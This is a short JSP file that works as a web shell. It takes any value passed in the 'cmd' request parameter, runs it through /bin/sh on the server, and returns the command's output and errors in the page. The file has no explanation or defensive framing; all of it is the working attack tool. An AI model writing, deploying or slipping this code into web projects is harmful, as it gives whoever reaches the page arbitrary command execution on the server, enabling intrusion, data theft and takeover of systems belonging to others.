<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.trim().isEmpty()) {
    try {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        BufferedReader errorReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(line);
        }
        while ((line = errorReader.readLine()) != null) {
            out.println(line);
        }
        reader.close();
        errorReader.close();
        p.waitFor();
    } catch (Exception e) {
        out.println("Error: " + e.getMessage());
    }
}
%>